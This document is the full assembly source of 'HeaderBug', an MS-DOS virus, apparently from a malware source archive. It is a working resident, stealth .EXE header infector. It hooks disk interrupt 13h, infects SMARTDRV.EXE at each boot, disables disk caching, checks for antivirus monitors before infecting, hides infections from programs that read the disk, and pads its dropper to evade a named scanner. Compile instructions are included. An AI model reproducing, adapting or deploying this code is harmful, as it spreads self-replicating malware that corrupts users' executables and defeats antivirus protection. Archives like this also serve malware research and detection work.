MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.headbug.a86
2021-01-12 17:44:11 -06:00

289 lines
14 KiB
Plaintext

;=============================================================================
; Virus Name: HeaderBug
; Effective Length: 324 Bytes (no increase in file length)
;
; Notes:
; - resident, BIOS-level-stealth .EXE header infector
; - undetectable by any current A-V scanner even w/o stealth
; - infects SMARTDRV.EXE to ensure residency at each boot
; - infects .EXE header sectors whenever accessed for write
; OR read (during reads only if A-V monitor is not
; resident)
; - As a result, will infect every target .EXE file during
; even such operations as a fixed disk DEFRAG
; - successfully infects Windows .EXE files without
; detection even when 32-bit file access is in use
; - does not decrease available memory
; - no harmful payload
;
; To Compile:
; - use shareware A86 assembler
; - type "a86 headbug.a86"
; - resulting headbug.com is actually an .exe file.
; It is a virus dropper which, if executed, will infect
; your system with HeaderBug
;=============================================================================
start_offset equ 07d*4-1
res_offset equ start_offset-01a0
com_offset equ 0100
header_offset equ 01a0
infect_tag equ 0c033
setver_tag equ 0d4a
viruslength equ 0144
old_code_length equ 012
EH_Signature dw 'ZM' ;set to 'MZ' or 'ZM' for .exe files
EH_Modulo dw 0000 ;remainder of file size/512
EH_Size dw 0012 ;file size/512
EH_Reloc dw 0000 ;6 ;number of relocation items
EH_Size_Header dw 000a ;8 ;size of header in paragraphs
EH_Min_Mem dw 0240 ;minimum paragraphs needed by file
EH_Max_Mem dw 0240 ;maximum paragraphs needed by file
EH_SS dw 0240 ;stack segment displacement
EH_SP dw ? ;stack pointer
EH_Checksum dw ? ;checksum, not used
EH_IP dw 0000 ;14 ;instruction Pointer of Exe file
EH_CS dw 0000 ;16 ;code segment displacement of .exe
EH_1st_reloc dw ? ;first relocation item
EH_ovl dw ? ;overlay number
db 084 dup ? ;pad rest of header w/dummy bytes
;-----------------------------------------------------------------------------
; Header_entry - Tests interrupt vector table for room and if there is room,
; installs virus in unused area of interrupt table. Read and write disk
; cache on all drives are disabled (prevents infection problems), SMARTDRV
; infected in default directory to ensure that virus becomes resident on each
; boot and that SMARTDRV's disk cache is never installed. SMARTDRV is
; infected through read-file action (not write) by installed int13 routine.
;-----------------------------------------------------------------------------
header_entry:
xor ax,ax ;set ax=0
mov ds,ax ;set ds=ax
mov es,ax ;set es=ax
dec ax ;set ax=ffffh as flag for zero_test
mov si,start_offset ;set si to start address in INT table
push si ;save value for later use
call zero_test ;check for clear area in INT table
pop di ;set destination offset to INT table
jc exit_header ;if area not clear, exit, don't install
xor si,si ;set source offset to virus start
call move_it ;move virus to empty space in INT table
mov di,offset old13+res_offset ;set destination for int13
mov si,013*04 ;set source for int13 vector
push si ;save value for later use
movsw ;copy int13 vector
movsw
pop di ;set destination for new value
mov ax,offset int13+res_offset ;virus int13 routine offset
stosw ;store new offset in int13
xor ax,ax ;virus int13 routine segment
stosw ;steal int13
mov bx,03 ;value required for STATUS call
mov bp,05 ;set max. number of drives
kill_cache:
mov ax,04a10 ;SMARTDRV STATUS function
push ax ;save it for later use
mov dl,02 ;turn off drive's read buffer
int 02f ;do it
pop ax ;restore ax
mov dl,04 ;turn off drive's write buffer
int 02f ;do it
dec bp ;decrement drive number
jns kill_cache ;if drive number >=0, repeat process
push cs
pop ds ;set ds=cs
mov ax,03d00 ;open file w/handle
mov dx,offset filename-header_offset ;point to filename
int 021 ;do it
jc exit_header ;if flag=fail, exit
mov bx,ax ;save handle
mov ah,03f ;read file w/handle
mov ch,02 ;read 200h bytes (header sector)
mov dh,02 ;point to buffer area beyond virus
int 021 ;do it (infect SMARTDRV.EXE header)
mov ah,03e ;close file w/handle
int 021 ;do it
exit_header:
mov ah,04c ;terminate with return code
int 021 ;do it
filename: db 'C:\DOS\SMARTDRV.EXE',0 ;file to initially infect
;-----------------------------------------------------------------------------
; Int13 - On any read or write, checks sector for .EXE header characteristic.
; Checks for word found in header of SETVER.EXE to prevent infection and
; resulting problems (lockup) when an infected SETVER is loaded from default
; CONFIG.SYS. If sector is being read, checks for infection then checks for
; presence of A-V monitor before infecting. If sector is being written, only
; checks for SETVER header, since stealth on prior int13 would hide previous
; infection and since any A-V monitor would expect a write action. In both
; read or write cases, sector is restored to appear identical to pre-infection
; before buffer containing .EXE header is presented to calling program. Name
; of virus stored in area of interrupt table used by TBDriver vectors in
; order to prevent system crash if TBDriver is loaded after virus is resident.
;-----------------------------------------------------------------------------
int13:
push cx ;preserve registers
push si
push di
push ds
push es
pop ds ;set ds=es
cmp ah,03 ;write operation?
je write ;if so, jump to write routine
cmp ah,02 ;read operation?
jne chain_old_int13 ;if not, exit
read:
pushf
call far cs:[offset old13+res_offset] ;call int13 (read sector)
jc exit_int13 ;if flag=fail, exit
mov si,'ZM' ;bytes indicating .EXE header
cmp [bx],si ;.EXE header?
jne exit_fail ;if not, exit
cmp [bx+014],setver_tag ;is this SETVER's header?
je exit_fail ;if so, exit
cmp [bx+0a0],infect_tag ;already infected?
je disinfect ;if so, jump to stealth routine
push ds ;preserve ds
xor di,di ;set di to virus destination
mov ds,di ;set ds to point to INT vector table
cmp byte ptr [040*4+3],0f0 ;int40 still pointing at ROM?
pop ds ;restore ds
jb exit_fail ;if not pointing at ROM, A-V monitor
; present, so exit
push cx ;preserve cx
call infect ;infect header in buffer
pop cx ;restore cx
jc exit_fail ;if flag=fail, exit
mov ax,0301 ;write infected header buffer
pushf
call far cs:[offset old13+res_offset] ;do it (call original int13)
disinfect:
lea si,[bx+offset old_header-com_offset] ;set source for code
lea di,[bx+06] ;set destination
mov cx,old_code_length ;set length of old code to restore
cld ;move direction=forward
rep movsb ;restore original code to header
xor al,al ;set al=0
mov cx,viruslength+old_code_length ;set # bytes to overwrite
lea di,[bx+0a0] ;set destination for writes
rep stosb ;overwrite viral code with zeros
exit_fail:
clc ;clear carry to hide any I/O errors
exit_int13:
pop ds ;restore registers
pop di
pop si
pop cx
retf 02 ;return to calling program
tbdriver_vector_area:
db '=HeaderBug=' ;space filler for TBDriver vector
write:
mov si,'ZM' ;bytes indicating .EXE header
cmp [bx],si ;.EXE header?
jne chain_old_int13 ;if not, exit
cmp [bx+014],setver_tag ;is this SETVER's header?
je chain_old_int13 ;if so, exit
push ax ;preserve ax
call infect ;infect header in buffer
pop ax ;restore ax
chain_old_int13:
pop ds ;restore registers
pop di
pop si
pop cx
db 0ea ;"jump far"
old13:
dw 02 dup ? ; to address of orig. int13 routine
infect:
lea si,[bx+0a0] ;set si=source offset for virus code
zero_test:
mov cx,viruslength+old_code_length ;set scan count to virus length
cld ;set direction of scan=forward
test_byte:
lodsb ;load a byte from area to be scanned
or al,al ;check for zero
loopz test_byte ;if zero, check next byte
or cx,cx ;counted down to zero w/o prior exit?
jz infect_OK ;if so, area is clear to infect
stc ;set "clear-to-infect" flag
ret ;return to calling routine
infect_OK:
inc ah ;increment ah
jz exit_infect ;true if calling routine=header_entry
mov cl,old_code_length ;length of old header code to preserve
lea si,[bx+06] ;set source for old code
lea di,[bx+offset old_header-com_offset] ;set storage destination
rep movsb ;store old code in virus
xor ax,ax ;set ax=0
lea di,[bx+014] ;set destination to cs:ip location
stosw ;set cs:ip values in header to 0:0
stosw ; by storing zeros in their locations
lea di,[bx+06] ;set destination to # of reloc. items
stosw ;set # of relocation items to zero
mov al,0a ;set header size value to 0ah to
stosw ; place entry point at start of virus
mov si,start_offset ;set si=start offset of virus
lea di,[bx+0a0] ;set di=destination offset in buffer
move_it:
push ds ;preserve ds
push cs
pop ds ;set ds=cs
mov cx,viruslength ;set cx move count to length of virus
cld ;set direction of move to forward
rep movsb ;move virus to header in buffer
pop ds ;restore ds
exit_infect:
clc ;clear flag to hide any I/O errors
ret ;return to calling routine
old_header:
db old_code_length dup ? ;storage area for original header
; contents
dummy_bytes:
db 0220a dup ? ;dummy bytes used to increase dropper
; length to avoid detection by f-prot